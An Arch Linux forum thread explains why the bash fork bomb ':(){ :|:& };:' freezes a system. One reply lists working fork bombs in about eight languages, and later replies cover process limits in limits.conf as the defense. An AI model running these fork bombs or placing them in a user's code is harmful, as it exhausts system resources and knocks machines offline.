why does this make *nix crash ?

gerryAU · 2009-06-21 13:25:03

why does

:(){ :|:& };:

make my system crash ?

* Don`t try it if you don`t want to crash your box

tlvb · 2009-06-21 13:35:11

If it is what it looks like, then it is a fork bomb, that will constantly spawn child processes taking up more and more of the system's resources.
EDIT: it is what it looks like

Last edited by tlvb (2009-06-21 13:44:54)

Runiq · 2009-06-21 13:41:10

you "define" the program called ":" with ":()". The contents of the program (its code) is in between the curly braces (between "{" and "}"). The program calls itself (which you can see from the ":" right after the "{ "). Thereafter, it calls a child process of itself in the background IIRC (denoted by the "|&"). You finish the code with " }", which tells your shell that the program code is finished. Finally, you start the program with ":".

Don't you love parentheses.

Last edited by Runiq (2009-06-21 13:41:38)

Peasantoid · 2009-06-21 13:44:05

Fork bomb: spawns a ton of subprocesses until your system overloads.

jrib · 2009-06-21 13:45:02

If you have proper limits set, your computer won't be bothered by it

Ghost1227 · 2009-06-21 13:51:18

:(){:|:&};:

can also be viewed as

function(){
     function|function&
};;

Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.

Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.

So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.

What's the point? It's a denial of service attack, plain and simple.

Various other type of forkbombs...

Windows

%0|%0

-or-

:s
start %0
%0|%0
goto :s

Perl

fork while fork

Haskell

import Control.Monad
import System.Posix.Process
 
forkBomb = forever $ forkProcess forkBomb

Python

import os
 
while True:
     os.fork()

Ruby

loop { fork }

C/C++

#include <unistd.h>
 
int main(void)
{
  while(1)
    fork();
  return 0;
}

NASM

section .text
 global _start ;Call start
 
_start:
 push byte 2      ;syscall to Linux fork
 pop eax          ;set EAX argument for fork to NULL [So it works in strings]
 int 0x80         ;Execute syscall with fork & the EAX [null, above] argument
 jmp short _start ;Go back to beginning, causing a fork bomb

Lisp

(defmacro wabbit ()                ;; A program that writes code.
   (let ((fname (gentemp 'INET)))
     `(progn
            (defun ,fname ()        ;; Generate.
              nil)
            (wabbit))))
 
(wabbit)    ;; Start multiplying.

* Disclaimer: It's not my fault if you fuck up your system trying these out.

** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.

Last edited by Ghost1227 (2009-06-21 14:02:55)

gerryAU · 2009-06-21 13:58:28

thanks all

lucke · 2009-06-21 14:07:43

As jrib said, set a limit on the number of processes in /etc/security/limits.conf and it shouldn't bring your box down.

R00KIE · 2009-06-21 15:19:48

lucke wrote:

As jrib said, set a limit on the number of processes in /etc/security/limits.conf and it shouldn't bring your box down.

But can't that also limit normal system usage? If not how much is a reasonable limit to keep things like this from happening?

lucke · 2009-06-21 16:14:35

I have hard nproc for members of the user group set to 100 on my PII server and to 512 on my Athlon X2 desktop - running KDE4 I have 42 user processes active right now. My desktop handles forkbombs flawlessly, haven't really tried anything on my server. nproc limit set to 100-200 should be enough for just about anything.

Incidentally, I tried forkbombing the default install of Windows 2008 Server - it went down instantly. I'd check how it fares with some limits set, but I can't be bothered to fiddle with the cryptic settings of that OS.

R00KIE · 2009-06-21 18:16:53

Ok I've set the limit to 1024 on my machine, should more than enough for everything and still prevents the fork bomb.
I've set it like this: "* - nproc 1024" in /etc/security/limits.conf, I believe it's correct, if anyone sees something wrong with it let me know

Arch Linux

#1 2009-06-21 13:25:03

why does this make *nix crash ?

#2 2009-06-21 13:35:11

Re: why does this make *nix crash ?

#3 2009-06-21 13:41:10

Re: why does this make *nix crash ?

#4 2009-06-21 13:44:05

Re: why does this make *nix crash ?

#5 2009-06-21 13:45:02

Re: why does this make *nix crash ?

#6 2009-06-21 13:51:18

Re: why does this make *nix crash ?

#7 2009-06-21 13:58:28

Re: why does this make *nix crash ?

#8 2009-06-21 14:07:43

Re: why does this make *nix crash ?

#9 2009-06-21 15:19:48

Re: why does this make *nix crash ?

#10 2009-06-21 16:14:35

Re: why does this make *nix crash ?

#11 2009-06-21 18:16:53

Re: why does this make *nix crash ?

Board footer